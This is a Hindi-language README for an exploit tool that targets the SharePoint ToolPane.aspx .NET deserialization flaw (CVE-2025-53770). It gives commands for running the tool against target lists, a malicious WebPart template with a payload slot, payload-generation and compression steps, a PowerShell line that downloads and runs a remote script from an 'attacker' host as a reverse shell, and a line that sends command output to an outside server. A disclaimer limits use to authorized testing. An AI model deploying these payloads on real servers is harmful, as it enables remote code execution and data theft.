
SharePoint WebPart इंजेक्शन एक्सप्लॉइट टूल
🍕 SharePoint WebPart इंजेक्शन (ToolPane.aspx के माध्यम से) के लिए एक्सप्लॉइट टूल, जो .NET डीसीरियलाइज़ेशन और संभावित रिमोट कोड एक्ज़ीक्यूशन (RCE) की ओर ले जाता है।
द्वारा विकसित: @GOTOCVE
यह टूल Microsoft SharePoint (ऑन-प्रिमाइसेस) में एक कमज़ोरी का शोषण करता है जो प्रमाणित उपयोगकर्ताओं को ToolPane.aspx एंडपॉइंट का दुरुपयोग करने और GZIP-संपीड़ित सीरियलाइज़्ड .NET ऑब्जेक्ट वाले दुर्भावनापूर्ण WebParts इंजेक्ट करने की अनुमति देता है।
इंजेक्ट किया गया ऑब्जेक्ट MSOTlPn_SelectedWpId पैरामीटर के अंदर रखा जाता है और एक नकली WebPart (जैसे <Scorecard:ExcelDataSet>) में एम्बेड किया जाता है जिसे SharePoint बैकएंड द्वारा पार्स और डीसीरियलाइज़ किया जाता है।
| उत्पाद | प्रभावित संस्करण |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| फ़ील्ड | मान |
|---|---|
| घटक | माइक्रोसॉफ्ट शेयरपॉइंट (ऑन-प्रिमाइसेस) |
| एंडपॉइंट | /layouts/15/ToolPane.aspx |
| पैरामीटर | MSOTlPn_DWP |
| वेबपार्ट | <Scorecard:ExcelDataSet CompressedDataTable> |
| समस्या | असुरक्षित .NET डीसीरियलाइज़ेशन |
| CVE | CVE-2025-53770 |
exploit.pyCVE-2025-53770 के लिए मल्टी-थ्रेडेड SharePoint एक्सप्लॉइट टूल।
/ToolPane.aspx तक पहुँच की जाँच करता हैYSLosf.exeLosFormatter पेलोड जनरेटर और डीसीरियलाइज़र।

python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| तर्क | विवरण |
|---|---|
-u | लक्ष्य URL (जैसे https://sp.company.local) |
-f | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
-p | पेलोड फ़ाइल या सीधे Base64 GZIP स्ट्रिंग |
--proxy | वैकल्पिक प्रॉक्सी (जैसे http://127.0.0.1:8080) |
-t | सेकंड में टाइमआउट (डिफ़ॉल्ट: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe चलाने के लिए)आपका पेलोड निम्नलिखित होना चाहिए:
DataSet, ObjectDataProvider)LosFormatter या BinaryFormatter का उपयोग करके सीरियलाइज़ किया गयाएक WebPart में इस प्रकार एम्बेडेड:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosf के साथ पेलोड जनरेट करनाअपना कमांड (जैसे रिवर्स शेल) payload.txt में डालें:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
आउटपुट को payload-final.txt में सेव करें और इसे एक्सप्लॉइट टूल को पास करें।
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterयह कमज़ोरी प्रतिक्रिया में आउटपुट (जैसे ipconfig) नहीं लौटाती है। आपको यह करना होगा:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया जाता है।
स्पष्ट अनुमति के बिना सिस्टम के खिलाफ उपयोग न करें। दुरुपयोग अवैध और अनैतिक हो सकता है।
यदि कोई कमज़ोर सर्वर पेलोड स्वीकार करता है और MSOTlPn_SelectedWpId को प्रतिबिंबित करता है या इंजेक्टेड WebPart के साथ पेज रेंडर करता है, तो इसका शोषण होने की संभावना है। कोई आउटपुट न होने का मतलब है कि डीसीरियलाइज़ेशन विफल रहा या सर्वर ने इसे पैच कर दिया।
यह टूल किसी भी शेलकोड, वेब शेल को वितरित या निष्पादित नहीं करता है।
यह केवल एक दुर्भावनापूर्ण WebPart संरचना का उपयोग करके कमज़ोर ToolPane.aspx एंडपॉइंट के माध्यम से .NET डीसीरियलाइज़ेशन कमज़ोरी (CVE-2025-53770) के शोषण का प्रदर्शन करता है जिसमें GZIP-संपीड़ित .NET ऑब्जेक्ट होता है।
🔹 उद्देश्य: शोधकर्ताओं, रेड टीमर्स और डिफ़ेंडरों को कमज़ोर SharePoint सर्वर का पता लगाने और कस्टम पेलोड के साथ सुरक्षित रूप से इंजेक्शन वेक्टर का परीक्षण करने में मदद करना।
🔹 पेलोड: टूल में उपयोगकर्ताओं को अपने स्वयं के पेलोड जनरेट करने की आवश्यकता होती है (जैसे YSLosf.exe का उपयोग करके) जो WebPart में Base64-एन्कोडेड GZIP स्ट्रिंग के रूप में एम्बेड किए जाते हैं।
उपयोगकर्ता की ज़िम्मेदारी है कि वे उपयुक्त और नैतिक पेलोड चुनें (जैसे हानिरहित calc.exe निष्पादन, बीकन मार्कर, आदि)।
🔹 कोई रिवर्स शेल/वेब शेल शामिल नहीं:
जबकि आक्रमणकारी spinstall0.aspx जैसे वेब शेल छोड़ सकते हैं, इस प्रोजेक्ट में ऐसा कोई लॉजिक शामिल नहीं है।
यदि आप रिवर्स शेल वितरित करने की योजना बना रहे हैं, तो आपको अपना स्वयं का पेलोड मैन्युअल रूप से जनरेट करना होगा और इसके उपयोग की पूरी जिम्मेदारी लेनी होगी।
टेलीग्राम पर @GOTOCVE से जुड़ें:
द्वारा निर्मित Ali Soltani
शोध संबंधी पूछताछ या बग रिपोर्ट के लिए, टेलीग्राम पर संदेश भेजें।